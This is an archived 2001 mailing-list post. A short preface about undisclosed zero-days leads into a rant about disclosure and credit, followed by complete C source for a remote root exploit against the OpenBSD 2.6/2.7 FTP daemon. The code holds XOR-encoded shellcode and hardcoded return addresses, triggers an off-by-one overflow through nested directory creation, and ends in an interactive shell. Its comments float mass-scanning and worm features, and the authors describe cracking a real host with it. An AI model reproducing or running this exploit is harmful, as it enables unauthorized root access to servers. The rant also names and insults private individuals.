To make the discussion intresting.... I have this exploit since december 2000. There are allot of zeroday exploits out there, that most of us don't know about. The last time 1 counted them -a few months ago- there where over 50, allot of them are still not public. I wouldn't trust any operating system at this moment, thinking that every hole found is going to be publiced is very stupid, I see a movement towards non-disclosure, for different reasons, some let big security companies pay them for the bug they found, other get money from software companies and other don't like the attention and just want to hack for fun, and get their respect from fellow hackers, those people are knowing what kind of exploits and bugs are out there. So don't believe the hype. gtx, h4f /* h0h0h0 0-day k0d3z Exploit by dvorak and Scrippie (tag team!) and jimjones (triple tag!) Pointed out by someone who wishes to remain anonymous, greets to sk8 :) ===================================================================== Okay, my story starts here... Some time ago I got a notice from a friend of mine that this problem existed in the OpenBSD current release. He wasn't able to write an exploit though. He in turn took notice of the problem from someone who will remain anonymous at the time of writing this. Dvorak and I took up writing this exploit some time ago, and succeeded in our attempt. Various people always pop up at the place I live at during week-days, including a small insignificant 17 year old kid called Kris Vlaardingenbroek (if any of you feel the need to flame him, he can be contacted at: krisat_private). He often plays around on my systems, and we have some conversation. He knew dvorak and I had been working on the OpenBSD thingy and asked about the specifics. I didn't think of this as a big deal since he was an employee of a security company I used to work at. Part of the machines at this company were running a vulnerable version of the ftp daemon (which is exploitable, as opposed to what is stated in the TESO article) and I had the courtesy to fix them in exchange for a verbal non-disclosure agreement. Since I trusted everyone present, I explained a bit on what we did and how. Obviously, what happened next is his posting to bugs@obsd, going against my statement that this was not to be disclosed. So far so good, another kid that wants to make a name by spotting the first open bsd remote root *possible* (since he can't code worth a dime, and he wouldn't be able to code it even if he grew to see his 120th birthday) exploit. Then again, with the OBSD default configuration they will state this is not a remote root compromise, since ftp is not enabled by default - but neither is telnetd or other stuff. I can keep my Linux machine safe for three years remotely by using the OpenBSD default inetd.conf file :) IMHO an operating system that is claimed to be this secure should dare to put all of their services wide open. I don't want to start out a debate on full/non disclosure right now - I'm quite sure that there are thousands of people out there who think this should have been published in the first place, but we were never planning to (yes, we're all filthy blackhats - I'm not the savior of humanity, and think it's ridiculous the coding and research I do for a hobby is going to be commercially exploited by security firms, one of the biggest disadvantages of full disclosure imho). My anger doesn't rise from the fact that this vulnerability is exposed, but the way in which this was done - without permission on our side, by someone who I sort of trusted (yes, I'm naive) and without any reference or credit to the researchers of the problem (and that's not one of us, that is a person who whishes to remain anonymous, we only created an exploit, as did others after and, very likely, also before us). Noticable is that his patch was not an elegant solution, and is not a solution at all on compilers which handle memory alignment in different ways. To check if an off by one error 'overflows' into other data, one can simply check if: overflow_buf_size mod memory_alignment == 0 evaluates to true. If it does, the one byte gets written into memory that contains anything besides padding. Thinking like this, subtracting 1 from the buffer size would also have worked and would have been more hilarious. The OpenBSD team has come up with a more decent solution, but they left some other dirty stuff in - why does the FTP daemon print out the stack as soon as getcwd() is going to return NULL? It's not supposed to. Right after this, Kris sent out a rectification e-mail simply stating that "I" was the one who discovered that bug, and that his disclosing e-mail got interpreted all wrong. In any case I never claimed I discovered the mentioned bug, only to have written a working exploit. To be honest, in the back of my mind I thought of this as a well constructed scheme on his part to get even with me for "nasty things I said to him". Whatever my response in a situation like this, it would be all wrong. Were I to get angry with him and tell him he still didn't do the correct thing I would most likely be told I was unreasonable and overly agressive. Were I to let it all go, he could be laughing in his fist that he tricked me on this one hoping others might pick at me for this. At last, I chose not to repond at all anymore, hoping everything would silently pass and there never was going to be a release. After this entire scenario, I had could clearly see a release of another exploit coming up, after the entire K2 & Caddis local OpenBSD "hype" I was fairly sure they would be on the OpenBSD bugs mailing list and competent enough to write their own exploit. Hi Caddis, hi K2 :) And knowing it would only be a matter of time dvorak and I decided to crack generic.labs.pulltheplug.com using it. I was fairly sure 'dies' would have access to his router logs, and could make a pass at reverse engineering the exploit, but the problem had been disclosed already. Seems now TESO came up with a release (which I don't blame them for, since everyone reading up on bugs@obsd could have), which is reason enough for me to publish this entire motherload of ranting and code :) What shocks me is the way people do with your trust as soon as they smell a way to enlarge the size of their own ego/noticeability in this forlorn place in space. Well, I can only tell Cinder that the way to accomplish this is to respect the work and research of other people, and learn to write code by yourself instead of stealing it from others. The work for THIS exploit was done by the following people (not including Kris): - dvorak - Scrippie - jimjones - anonymous person whose discovery this all was. I claim NO credit for the discovery of this bug, and wish good luck to the one who did and will remain anonymous. Shouts go out to: everyone who wishes to be included Deathwishes to: Cinder (even Gerrie is more el8 than you are!) Fuck to pedantic bastards at: #koffie - Patrick Oink Oink Oink! Love to: Maja, Hester, Renate -- Scrippie/ronaldat_private Ps. I'm sorry if there are other people who would have liked to gotten some of their comment in here, but I wanted this to get out ASAP. */ /* This source code is proprietary material. Commercial use, distribution, modification or use of any part of this source code in any form is strictly prohibited. Non-commercial use, modification and distribution is allowed, as long as any modification is made known to the author. Not fully developed exploit but it works most of the time ;) Things to add: - automatic writeable directory finding - syn-scan option to do mass-scanning - worm capabilities? (should be done seperatly using the -C option 11/13/2000 */ #include <stdio.h> #include <netdb.h> #include <netinet/in.h> #include <sys/socket.h> #include <sys/types.h> #include <unistd.h> #include <limits.h> void usage(char *program); char *strcreat(char *, char *, int); char *longToChar(unsigned long); char *xrealloc(void *, size_t); void xfree(char **ptr); char *xmalloc(size_t); int xconnect(char *host, u_short port); void xsend(int fd, char *buf); void xsendftpcmd(int fd, char *command, char *param); void xrecieveall(int fd, char *buf, int size); void xrecieve(int fd, char *buf, int size); void ftp_login(int fd, char *user, char *password); void exploit(int fd); int verbose = 0; /* Written by dvorak, garbled up by "Smegma" with a word xor 0xaabb mask to get rid of dots and slashes. */ char heavenlycode[] = "\x31\xc0\x89\xc1\x80\xc1\x02\x51\x50\x04\x5a\x50\xcd\x80" "\xeb\x10\x5e\x31\xc9\xb1\x4a\x66\x81\x36\xbb\xaa\x46\x46\xe2\xf7\xeb\x05\xe8" "\xeb\xff\xff\xff\xff\xff\xff\x50\xcf\xe5\x9b\x7b\xfa\xbf\xbd\xeb\x67\x3b\xfc" "\x8a\x6a\x33\xec\xba\xae\x33\xfa\x76\x2a\x8a\x6a\xeb\x22\xfd\xb5\x36\xf4\xa5" "\xf9\xbf\xaf\xeb\x67\x3b\x23\x7a\xfc\x8a\x6a\xbf\x97\xeb\x67\x3b\xfb\x8a\x6a" "\xbf\xa4\xf3\xfa\x76\x2a\x36\xf4\xb9\xf9\x8a\x6a\xbf\xa6\xeb\x67\x3b\x27\xe5" "\xb4\xe8\x9b\x7b\xae\x86\xfa\x76\x2a\x8a\x6a\xeb\x22\xfd\x8d\x36\xf4\x93\xf9" "\x36\xf4\x9b\x23\xe5\x82\x32\xec\x97\xf9\xbf\x91\xeb\x67\x3b\x42\x2d\x55\x44" "\x55\xfa\xeb\x95\x84\x94\x84\x95\x85\x95\x84\x94\x84\x95\x85\x95\x84\x94\x84" "\x95\x85\x95\x84\x94\x84\x95\x85\x95\x84\x94\x84\x95\xeb\x94\xc8\xd2\xc4\x94" "\xd9\xd3"; char user[255] = "anonymous"; char pass[255] = "anonymousat_private"; char write_dir[PATH_MAX] = "/"; int ftpport = 21; unsigned long int ret_addr = 0; #define CMD_LOCAL 0 #define CMD_REMOTE 1 int command_type = -1; char *command = NULL; struct typeT { char *name; unsigned long int ret_addr; }; #define NUM_TYPES 2 struct typeT types[NUM_TYPES] = { "OpenBSD 2.6", 0xdfbfd0ac, "OpenBSD 2.7", 0xdfbfd0ac}; void usage(char *program) { int i; fprintf(stderr, "\nUsage: %s [-h host] [-f port] [-u user] [-p pass] [-d direct ory] [-t type]\n\t\t[-r retaddr] [-c command] [-C command]\n\n" "Directory should be an absolute path, writable by the user.\n" "The argument of -c will be executed on the remote host\n" "while the argument of -C will be executed on the local\n" "with its filedescriptors connected to the remote host\n" "Valid types:\n", program); for (i = 0; i < NUM_TYPES; i++) { printf("%d : %s\n", i, types[i].name); } exit(-1); } main(int argc, char **argv) { unsigned int i; int opt, fd; unsigned int type = 0; char *hostname = "localhost"; if (argc < 2) usage(argv[0]); while ((opt = getopt(argc, argv, "h:r:u:f:d:t:vp:c:C:")) != -1) { switch (opt) { case 'h': hostname = optarg; break; case 'C': command = optarg; command_type = CMD_LOCAL; break; case 'c': command = optarg; command_type = CMD_REMOTE; break; case 'r': ret_addr = strtoul(optarg, NULL, 0); break; case 'v': verbose++; break; case 'f': if (!(ftpport = atoi(optarg))) { fprintf(stderr, "Invalid destination port - %s\ n", optarg); exit(-1); } exit(-1); break; case 'u': strncpy(user, optarg, sizeof(user) - 1); user[sizeof(user) - 1] = 0x00; break; case 'p': strncpy(pass, optarg, sizeof(pass) - 1); pass[sizeof(pass) - 1] = 0x00; break; case 'd': strncpy(write_dir, optarg, sizeof(write_dir) - 1); write_dir[sizeof(write_dir) - 1] = 0x00; if ((write_dir[0] != '/')) usage(argv[0]); if ((write_dir[strlen(write_dir) - 1] != '/')) strncat(write_dir, "/", sizeof(write_dir) - 1); break; case 't': type = atoi(optarg); if (type > NUM_TYPES) usage(argv[0]); break; default: usage(argv[0]); } } if (ret_addr == 0) ret_addr = types[type].ret_addr; if ((fd = xconnect(hostname, ftpport)) == -1) exit(-1); else printf("Connected to remote host! Sending evil codes.\n"); ftp_login(fd, user, pass); exploit(fd); } int ftp_cmd_err(int fd, char *command, char *param, char *res, int size, char * msg ) { xsendftpcmd(fd, command, param); xrecieveall(fd, res, size); if (res == NULL) return 0; if (verbose) printf("%s\n", res); if (msg && (res[0] != '2')) { fprintf(stderr, "%s\n", msg); exit(-1); } return (res[0] != '2'); } void shell(int fd) { fd_set readfds; char buf[1]; char *tst = "echo ; echo ; echo HAVE FUN ; id ; uname -a\n"; write(fd, tst, strlen(tst)); while (1) { FD_ZERO(&readfds); FD_SET(0, &readfds); FD_SET(fd, &readfds); select(fd + 1, &readfds, NULL, NULL, NULL); if (FD_ISSET(0, &readfds)) { if (read(0, buf, 1) != 1) { perror("read"); exit(1); } write(fd, buf, 1); } if (FD_ISSET(fd, &readfds)) { if (read(fd, buf, 1) != 1) { perror("read"); exit(1); } write(1, buf, 1); } } } void do_command(int fd) { char buffer[1024]; int len; if (command_type == CMD_LOCAL) { dup2(fd, 0); dup2(fd, 1); dup2(fd, 2); execl(command, command, NULL); exit (2); } write(fd, command, strlen(command)); write(fd, "\n", 1); while ((len = read(fd, buffer, sizeof(buffer))) > 0) { write(1, buffer, len); } exit (0); } int exploit_ok(int fd) { char result[1024]; xsend(fd, "id\n"); xrecieve(fd, result, sizeof(result)); return (strstr(result, "uid=") != NULL); } void exploit(int fd) { char res[1024]; int heavenlycode_s; char *dir = NULL; ftp_cmd_err(fd, "CWD", write_dir, res, 1024, "Can't CWD to write_dir"); dir = strcreat(dir, "A", 255 - strlen(write_dir)); ftp_cmd_err(fd, "MKD", dir, res, 1024, NULL); ftp_cmd_err(fd, "CWD", dir, res, 1024, "Can't change to directory"); xfree(&dir); /* next on = 256 */ dir = strcreat(dir, "A", 255); ftp_cmd_err(fd, "MKD", dir, res, 1024, NULL); ftp_cmd_err(fd, "CWD", dir, res, 1024, "Can't change to directory"); xfree(&dir); /* next on = 512 */ heavenlycode_s = strlen(heavenlycode); dir = strcreat(dir, "A", 254 - heavenlycode_s); dir = strcreat(dir, heavenlycode, 1); ftp_cmd_err(fd, "MKD", dir, res, 1024, NULL); ftp_cmd_err(fd, "CWD", dir, res, 1024, "Can't change to directory"); xfree(&dir); /* next on = 768 */ dir = strcreat(dir, longToChar(ret_addr), 252 / 4); ftp_cmd_err(fd, "MKD", dir, res, 1024, NULL); ftp_cmd_err(fd, "CWD", dir, res, 1024, "Can't change to directory"); xfree(&dir); /* length = 1020 */ /* 1022 moet " zijn */ dir = strcreat(dir, "AAA\"", 1); ftp_cmd_err(fd, "MKD", dir, res, 1024, NULL); ftp_cmd_err(fd, "CWD", dir, res, 1024, "Can't change to directory"); xfree(&dir); /* and tell it to blow up */ ftp_cmd_err(fd, "PWD", NULL, res, 1024, NULL); if (!exploit_ok(fd)) { if (command != NULL) { exit (2); } fprintf(stderr, "Exploit failed\n"); exit (1); } if (command == NULL) shell(fd); else do_command(fd); } char * strcreat(char *dest, char *pattern, int repeat) { char *ret; size_t plen, dlen = 0; int i; if (dest) dlen = strlen(dest); plen = strlen(pattern); ret = (char *) xrealloc(dest, dlen + repeat * plen + 1); if (!dest) ret[0] = 0x00; for (i = 0; i < repeat; i++) { strcat(ret, pattern); } return (ret); } char * longToChar(unsigned long blaat) { char *ret; ret = (char *) xmalloc(sizeof(long) + 1); memcpy(ret, &blaat, sizeof(long)); ret[sizeof(long)] = 0x00; return (ret); } char * xrealloc(void *ptr, size_t size) { char *wittgenstein_was_a_drunken_swine; if (!(wittgenstein_was_a_drunken_swine = (char *) realloc(ptr, size))) { fprintf(stderr, "Cannot calculate universe\n"); exit(-1); } return (wittgenstein_was_a_drunken_swine); } void xfree(char **ptr) { if (!ptr || !*ptr) return; free(*ptr); *ptr = NULL; } char * xmalloc(size_t size) { char *heidegger_was_a_boozy_beggar; if (!(heidegger_was_a_boozy_beggar = (char *) malloc(size))) { fprintf(stderr, "Out of cheese error\n"); exit(-1); } return (heidegger_was_a_boozy_beggar); } int xconnect(char *host, u_short port) { struct hostent *he; struct sockaddr_in s_in; int fd; if ((he = gethostbyname(host)) == NULL) { perror("gethostbyname"); return (-1); } memset(&s_in, 0, sizeof(s_in)); s_in.sin_family = AF_INET; s_in.sin_port = htons(port); memcpy(&s_in.sin_addr.s_addr, he->h_addr, he->h_length); if ((fd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) == -1) { perror("socket"); return (-1); } if (connect(fd, (const struct sockaddr *) & s_in, sizeof(s_in)) == -1) { perror("connect"); return (-1); } return fd; } /* returns status from ftpd */ void ftp_login(int fd, char *user, char *password) { char reply[512]; int rep; xrecieveall(fd, reply, sizeof(reply)); if (verbose) { printf("Logging in ..\n"); printf("%s\n", reply); } xsendftpcmd(fd, "USER", user); xrecieveall(fd, reply, sizeof(reply)); if (verbose) printf("%s\n", reply); xsendftpcmd(fd, "PASS", password); xrecieveall(fd, reply, sizeof(reply)); if (verbose) printf("%s\n", reply); if (reply[0] != '2') { printf("Login failed.\n"); exit(-1); } } void xsendftpcmd(int fd, char *command, char *param) { xsend(fd, command); if (param != NULL) { xsend(fd, " "); xsend(fd, param); } xsend(fd, "\r\n"); } void xsend(int fd, char *buf) { if (send(fd, buf, strlen(buf), 0) != strlen(buf)) { perror("send"); exit(-1); } } void xrecieveall(int fd, char *buf, int size) { char scratch[6]; if (buf == NULL || size == 0) { buf = scratch; size = sizeof(scratch); } memset(buf, 0, size); do { xrecieve(fd, buf, size); } while (buf[3] == '-'); } /* recieves a line from the ftpd */ void xrecieve(int fd, char *buf, int size) { char *end; char ch; end = buf + size; while (buf < end) { if (read(fd, buf, 1) != 1) { perror("read"); /* XXX */ exit(-1); } if (buf[0] == '\n') { buf[0] = '\0'; return; } if (buf[0] != '\r') { buf++; } } buf--; while (read(fd, buf, 1) == 1) { if (buf[0] == '\n') { buf[0] = '\0'; return; } } perror("read"); /* XXX */ exit(-1); }
This archive was generated by hypermail 2b30 : Wed Jun 06 2001 - 22:04:25 PDT